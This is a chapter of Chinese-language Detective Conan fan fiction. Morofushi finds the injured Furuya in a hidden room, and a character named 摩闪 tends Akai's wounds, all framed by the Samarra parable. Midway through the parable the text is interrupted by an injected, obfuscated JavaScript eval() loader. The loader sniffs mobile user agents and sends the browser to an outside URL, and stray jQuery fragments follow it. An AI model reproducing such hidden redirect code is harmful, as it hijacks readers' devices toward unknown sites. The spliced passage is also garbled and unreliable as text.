68.Let Me Love You Like a Woman

作品:《再造卧底

    有人往办公室给诸伏景光打了个电话。他说一个自称是您的朋友的父亲请长官您到他离市区不远的海滨木屋去过星期天,感谢您对他孩子的照顾。诸伏景光说我很愿意去,不过我已答应和一个女友一块儿过了。电话那头沉默了一段时间,立刻说他也请她。他的妻子因为在一堆男人中间有了作伴的一定会很高兴。


    诸伏景光本想立刻挂掉电话,因为刚才的拒绝不过是托辞,或者说暗示:暗示自己没法独自赴约,有一双眼睛会一直盯着自己。真正阻止他答应的原因我们都知道:甚至于,他知道的未必有我们多。他甚至都不知道降谷零是身上哪儿受了伤还是有更坏的事发生,那个我们都不愿意看到的结果。当然了,诸伏景光更知道死坐着没有用,可是除此以外他做不了别的。这事是因为警视厅里有内鬼造成的,明眼人都晓得,所以谁先动谁暴露。可是自己等得,有人却不能等。


    电话那头的人说他本来可以晚上转达这个邀请,但是他的妻儿们带来了伴手礼,“不新鲜就不好了”,所以不得不尽快。


    无法,按照这位先生给出的模糊的指示,诸伏景光在那一块大致走了走,逛了城里的几条大街,最后在(当然还开着,小梓还在呢)波洛咖啡馆里吃晚饭。他已开始吃起来,这时进来一个奇怪的男人,他问自己是否可以坐在诸伏景光的桌子旁边。他当然可以。他的动作僵硬,两眼闪闪发光,胡子遮住了半张脸。他脱下短外套,坐下,匆匆看了看菜谱。他招呼小梓,立刻点完他要的菜,语气准确而急迫。在等饮品的时候,他打开手包,拿出一小块纸和一支铅笔,事先算好钱,从小钱包里掏出来,外加小费,算得准确无误,摆在眼前。这时饭都来了,他飞快地一扫而光。在等下一道菜时,他又从手提包里掏出一支蓝铅笔和一份广播节目问卷。他仔仔细细地把几乎所有的节目一个个勾出来。由于杂志有十几页,整整一顿饭的工夫,他都在细心地做这件事。诸伏景光已经吃完,他还在专心致志地做这件事。他吃完站起来,用刚才自动机械一样准确的动作穿上外套,走了。他在人行道的边石上走,迅速而平稳,令人无法想象。他一往直前,头也不回。诸伏景光想他是个怪人,但人不重要,重要的是那份奇怪的广播节目问卷。像填涂答题卡一般排列。我记得他都选了什么吗?当然记得。他花了多少钱?我有印象。


    三十分钟后,末班电车开过,把已很遥远的郊区的嘈杂声带走了。他们过去之后,路上渐渐没有人了。各处的热闹都开始了。街上只剩下了一些店主和猫。从街道两旁的无花果树上空望去,天是晴的,但是不亮。对面人行道上,卖烟的搬出一把椅子,倒放在门前,双腿骑上,两只胳膊放在椅背上。刚才还是拥挤不堪的电车现在几乎全空了。烟店侍者正在扫地。这的确是个星期天的样子。就是那,诸伏景光走进去说:请把电视调到日卖电视台。女侍者一头金色短卷发,戴着黑框眼镜,上身穿着短衬衣,挽着袖子。眼下有黑眼圈。她好像刚刚喝过酒。现在又喝了一杯酒,站起来,把盘子和吃剩的冷香肠推开。她仔细地擦了擦铺在桌上的漆布。她从床头柜的抽屉里拿出一张方格纸,一个黄信封,一支红木杆的蘸水钢笔和一小方瓶紫墨水。她写好信。信写得有点儿随便,不过,这无所谓的。她封上信,递进去。又默默地抽了会儿烟。外面很安静,可以听见一辆小汽车开过去了。这侍者指了指后面的走廊:“可以进去了。”


    尽管走廊昏暗,一刹那间,诸伏景光又闻到了夏日傍晚的气息,看到了夏日傍晚的色彩。在这走动着的,被墙壁环绕的空间中,他仿佛从疲倦的深渊里听到了这座他所热爱的城市的,某个他有时感到满意的时刻种种熟悉的声音。是的,这是很久以前他感到满意的那个时刻。那时候,等待他的总是轻松的、连梦也不作的睡眠。这一切已经弃他而去非常久了,却在这时死而复生;仿佛画在夏日天空中的熟悉的道路也能通向安静的睡眠。他推开门,小小的卧室里,被子翻开一个角儿,降谷零把睡得乱糟糟的头探出来望着他,两眼闪闪发光。


    现在,诸伏景光仿佛明白那个电话是谁打来的了;也了明白“不够新鲜”的伴手礼是什么。后知后觉的,他想起那个金色卷发的女侍者,以及她为什么要把自己喝的醉醺醺的。他一瞬间领悟了很多事,不过这并不耽误他过去把降谷零搂在怀里。外头的电视响起来了。降谷零费劲地坐起来,身上犹且缠着绷带。


    这一切都发生在诸伏景光还没到来的期间,非常危急,十分谨慎,不敢于把自己的一切和公安扯上关系。值得一提的是,最先找到他的不是赤井夫妻。是江户川柯南。这个孩子凭他身为工藤新一时对于同龄人的理解,寻找帮手,于是下意识地去叩响世良的门。那个女孩儿叫他等上一等,门里头的宫野志保则向玛丽说:假使有必要,可以饮酒救急。多备身衣服。


    我有个消息要告诉你。降谷零急切地说:可以结束了。


    ……你是说——


    摩闪被选中了。


    他说。有点儿急切,又有点不甘:只是一点点,一点点而已。很奇怪,很混乱。他细细地说了自己是怎么在最为危急、可怖、生死一线的时分,心神却不挂念自己的安危,而是从人言中费力分辨:听见有个追着他跑的成员,似乎是转述宾加的意思:话语里透出奇妙的风头来:说是一夜之间,摩闪要被委以重任了,仿佛一场祭祀:事情开始顺风顺水。摩闪放下了曾经与降谷零和诸伏景光争执不休的执念,局面骤然好转。他忽然领悟了如何收买人心,八面玲珑,摇身一变成为众人追捧的对象,赢得无数赞美。在那个见不得光的领域,他的名声也日渐显赫。至少表面看来,确实如此。


    只有一种答案了。此时,百利甜早已失去了那些力量,宛若太阳下的伊卡洛斯,翅膀彻底融化。诸伏景光这儿迟迟没有消息,否则一定已经动手;身上发生铺天盖地变化的只剩下摩闪了。


    意外的是,即便到了那样的关头,即便所有的情报都好像指向了摩闪——是他命令,乃至足以指挥宾加手下的人,降谷零却一点儿也不觉得自己被背刺了。这完全不是被害妄想,而是从上一回就得来的经验。摩闪敢于牺牲自己,牺牲所有人。他做出什么,都非常有可能。


    他甚至觉得被背刺也没有关系:不是自暴自弃,而是愿意信任坚持到现在的摩闪。他如果做出抉择,那这个抉择一定有意义。而与此同时,听过交流后,诸伏景光担心的唯有另一件事:摩闪做起脏事来意外地顺手,简直如鱼得水,好像天生就擅长料理这些脏事,仿佛放弃了什么。像只生着翅膀的动物,一旦从天空之城坠落,就会一直坠落……无法停止,直到粉身碎骨地落地。我也一点儿都不怀疑他。诸伏景光想。我却感到没来由的不幸。


    但是,如果他拿到了96号,并且对此真的另有安排,我将无从下手。请不要……请不要。降谷零的话,诸伏景光几乎什么都没听。他只是若无其事地笑笑,想起一个故事。


    ——巴格达的一位商人派仆人去集市买粮食,工夫不大,仆人面色苍白狼狈不堪地跑回来。浑身发抖的报告:主人,我刚在集市被人挤了一下,抬头一看竟是死神。他见是我,立即做了一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633063|167043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吓人的手势。我想死神一定是冲我来的。现在求您借我一匹快马,我要逃离巴格达,躲到撒马拉去。


    上了楼,打开门。这一回,摩闪开门见山地说:“探员先生,您的假期结束了。”他说,视摄影机若无睹。就好像在庆祝一个终于康复的病患,他说:“你想吃点什么?”好像他妈的组织基地可以点外卖似的。不用问:这摄影机大概八小时换一次带,上一回换是三个半小时前,也就是说行动将会在最晚四小时四十分钟开始。摩闪先点上煤油灯——用的还是那遭天谴的一股子煤油味的打火机——然后从口袋里掏出一卷纱布。


    “您知道,我们这里条件有限,我更不是医生,实在觉得疼我有止痛药。”他对赤井秀一说,“并不是我坏,不求您出去时对您的同事多多美言几句,至少不要告您家长,求你了。但是告诉了我也没法子,这话真叫人泄气。”


    赤井秀一盯着摩闪噼里啪啦的拆链子,凭借自己的知识活动了一下,感觉自己腰都坐断,身上的血肉皮肤里透出丝丝缕缕宛若小树生根般的痒。起先以为是神经疼痛,后知后觉才想到说不定是正在生长的皮肤组织在不停地叩击神经末梢。人话说是:快好了。就是结着疤,好像身上拿胶水糊了一块还干了,刺挠自己。


    他打趣道:“敢问护工,您接下来对我的安排是卧床养病呢,还是立刻上岗?”


    “分尸沉塘。”


    “在这之前呢?能允许我和我的宿敌恋人达成宿命之约再从容赴死吗?”


    摩闪没绷住,蹲在地上捂着头笑得难受:“组织里的英国人还是太多了。你都这样说了,还没有和琴酒激吻三小时就一块跟我姓。”


    他沉默了一会,又说:“你真确定吗?”摩闪上下打量,“——拖着带这么多伤的身体——这样?”非得如此吗?你妈真的不会拿刀砍我吗?


    “我又没说真要抓,”赤井秀一神在在地说,“走之前打个招呼而已。”


    “没门!”摩闪笑了起来,“我把你拜托给基尔了。我不会放任你胡来的。你们每个人都是。”


    说话的工夫,摩闪已上完药,缠好了绷带。他开始详细地交代布防安排,只字不落。话语之间的空隙里,赤井秀一只是随口确认:那个方案成了?


    摩闪点头。他垂着眼睛,叫人不辨神色。平静地说:96号很喜欢苏格兰啦。像世界上的每个人那样,一下子就爱上苏格兰了。


    以后的一切都进行得如此迅速、准确、自然,谁能想到,到了后来,有一位亲历者却什么也记不得了。除了一件事,那就是在门口,摩闪再一次确认时。他的声音很怪,与他的神态不协调,那是一种抑扬的、颤抖的声音。他对赤井秀一说:“你就这么走了吗?就这样?”


    摩闪总是这样。他说话一向如此,你完全不知道他是在说废话,还是在暗示,或者干脆在骂人。但偏偏——这一回,两个人用截然不同的方式达成了共识。赤井秀一点点头,然后走上前——狠狠冲着摩闪的肚子上来了一下。他感觉到手下的这具身体像一滩烂泥一样从手臂上滑落,摩闪徒然地倒在地上,弓着身子,后脑勺朝上——然而还在喝彩一般的鼓起掌来。一开始很慢,然后越来越快,越来越使劲,越来越大声。


    ——仆人骑上快马逃往撒马拉。当天商人去集市,不料又碰到死神。商人感到奇怪,就问死神早晨碰到仆人为什么做了个吓人的手势。死神说:那不是吓人的手势,而是我被你的仆人吓了一跳。我为在巴格达撞上你的仆人惊诧不已,因为按照神的安排,今天晚上我和他在撒马拉有个约会。